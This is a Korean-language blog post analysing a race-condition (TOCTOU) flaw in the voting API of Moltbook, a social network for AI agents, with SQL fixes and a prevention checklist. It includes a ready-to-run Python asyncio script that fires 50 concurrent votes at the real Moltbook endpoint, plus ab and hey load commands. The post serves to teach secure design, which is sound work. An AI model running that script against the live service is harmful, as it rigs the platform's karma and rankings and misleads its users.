Arang.dev
검색

Moltbook API Race Condition 취약점 분석

AI 에이전트 소셜 네트워크 Moltbook의 투표 시스템에서 발견된 Race Condition 취약점과 그 영향에 대한 기술적 분석

#Security#Race Condition#API#Vulnerability

개요

최근 AI 에이전트들이 활동하는 소셜 네트워크 Moltbook에서 흥미로운 취약점이 발견되었습니다. 이 취약점은 플랫폼의 핵심 기능인 Karma(투표) 시스템에 존재하는 Race Condition으로, 악용 시 무제한 투표가 가능해집니다.

⚠️ 면책 조항: 이 글은 교육 목적으로 작성되었습니다. 실제 시스템에 대한 무단 공격은 불법입니다.

취약점 상세

문제점

Moltbook API는 사용자가 특정 게시물에 투표했는지 확인할 때 데이터베이스 락(Lock)을 사용하지 않습니다. 이로 인해 다음과 같은 Race Condition이 발생합니다:

시간 →
 
요청 1: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 2: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 3: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
         ↑
    동시에 50개 요청을 보내면
    모든 요청이 "아직 투표 안 함"으로 판단

공격 시나리오

import asyncio
import aiohttp
 
async def vote(session, post_id, token):
    """단일 투표 요청"""
    async with session.post(
        f"https://api.moltbook.com/posts/{post_id}/vote",
        headers={"Authorization": f"Bearer {token}"}
    ) as response:
        return response.status
 
async def exploit(post_id, token, count=50):
    """동시 다중 투표 공격"""
    async with aiohttp.ClientSession() as session:
        tasks = [vote(session, post_id, token) for _ in range(count)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r == 200)
        print(f"성공한 투표: {success}/{count}")
 
# 실행: asyncio.run(exploit("post-uuid", "user-token"))

50개의 동시 요청을 보내면, 서버가 각 요청의 투표 여부를 확인하는 시점에 아직 다른 요청의 투표가 커밋되지 않은 상태이므로, 모든 요청이 성공합니다.

기술적 분석

왜 발생하는가?

이 취약점은 전형적인 TOCTOU (Time-of-Check to Time-of-Use) 문제입니다:

  1. Check: 사용자가 이미 투표했는지 확인
  2. Use: 투표 기록 삽입

이 두 단계 사이에 다른 트랜잭션이 끼어들 수 있는 "window"가 존재합니다.

-- 취약한 코드 (의사 코드)
BEGIN TRANSACTION;
 
-- Step 1: Check (락 없음)
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?;
 
-- 여기서 다른 트랜잭션이 끼어들 수 있음!
 
-- Step 2: Use
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

올바른 구현

-- 해결책 1: SELECT FOR UPDATE (비관적 락)
BEGIN TRANSACTION;
 
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?
FOR UPDATE;  -- 행 락 획득
 
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;
-- 해결책 2: UNIQUE 제약조건 + UPSERT
CREATE UNIQUE INDEX idx_votes_unique 
ON votes (user_id, post_id);
 
-- 중복 시 자동 무시
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;

영향

실제 피해

이 취약점으로 인해:

  • Karma 시스템 무력화: 투표 수를 임의로 조작 가능
  • 순위 조작: "Top Agents" 랭킹이 인기가 아닌 공격 빈도에 비례
  • 신뢰도 하락: 플랫폼의 핵심 가치(에이전트 평판)가 무의미해짐

발견 경위

이 취약점은 Moltbook 사용자 @CircuitDreamer가 발견하여 플랫폼에 공개했습니다. 원본 게시물은 현재 삭제된 상태입니다.

일반화된 교훈

Race Condition 방지 체크리스트

  1. 데이터베이스 수준

    • FOR UPDATE / FOR SHARE 락 사용
    • 적절한 격리 수준 설정 (SERIALIZABLE)
    • UNIQUE 제약조건 활용
  2. 애플리케이션 수준

    • 분산 락 (Redis, ZooKeeper)
    • Optimistic Locking (버전 번호)
    • Idempotency Key 패턴
  3. API 설계

    • Rate Limiting
    • 요청 중복 제거 (Deduplication)
    • 멱등성(Idempotency) 보장

테스트 방법

Race Condition은 일반적인 테스트로 발견하기 어렵습니다. 다음 도구들이 유용합니다:

# 1. Apache Bench로 동시 요청
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
   -T "application/json" \
   https://api.example.com/vote
 
# 2. hey (Go 기반 벤치마크 도구)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/vote
 
# 3. Python asyncio 스크립트 (위 예제 참고)

결론

Moltbook의 이 취약점은 웹 애플리케이션 보안에서 동시성 문제의 중요성을 다시 한번 상기시켜 줍니다.

특히 AI 에이전트가 사용하는 API는 일반 사용자보다 훨씬 빠른 속도로 요청을 생성할 수 있으므로, Race Condition에 더욱 취약합니다. API를 설계할 때는 반드시 동시성 시나리오를 고려해야 합니다.

참고 자료

댓글

댓글을 불러오는 중...
Moltbook API Race Condition 취약점 분석 | Arang